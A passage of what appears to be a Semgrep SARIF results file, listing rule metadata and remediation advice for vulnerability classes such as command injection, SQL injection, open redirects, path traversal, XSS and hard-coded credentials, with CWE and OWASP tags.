function."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","id":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","name":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-LLM08:2023 - Excessive Agency","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"help":{"markdown":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc","id":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","name":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.reflect-makefunc.reflect-makefunc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"help":{"markdown":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect)\n - [https://flask-login.readthedocs.io/en/latest/#login-example](https://flask-login.readthedocs.io/en/latest/#login-example)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1)\n - [https://docs.python.org/3/library/urllib.parse.html#url-parsing](https://docs.python.org/3/library/urllib.parse.html#url-parsing)\n","text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect","id":"python.flask.security.open-redirect.open-redirect","name":"python.flask.security.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"help":{"markdown":"This rule has been deprecated. Please remove it from your policies and rulepacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","id":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","name":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password","id":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","name":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-empty-password.python-mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"help":{"markdown":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n","text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","id":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","name":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","id":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","name":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"help":{"markdown":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","id":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","name":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg","id":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","name":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-msg.file-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","id":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","name":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Rather than adding one element at a time, consider batch loading to improve performance."},"help":{"markdown":"Rather than adding one element at a time, consider batch loading to improve performance.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import)\n","text":"Rather than adding one element at a time, consider batch loading to improve performance."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import","id":"python.sqlalchemy.performance.performance-improvements.batch-import","name":"python.sqlalchemy.performance.performance-improvements.batch-import","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.batch-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"help":{"markdown":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n","text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"helpUri":"https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","id":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","name":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"help":{"markdown":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug)\n - [https://docs.scala-lang.org/overviews/compiler-options/index.html](https://docs.scala-lang.org/overviews/compiler-options/index.html)\n","text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug","id":"scala.lang.security.audit.scalac-debug.scalac-debug","name":"scala.lang.security.audit.scalac-debug.scalac-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalac-debug.scalac-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/www-community/attacks/XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n - 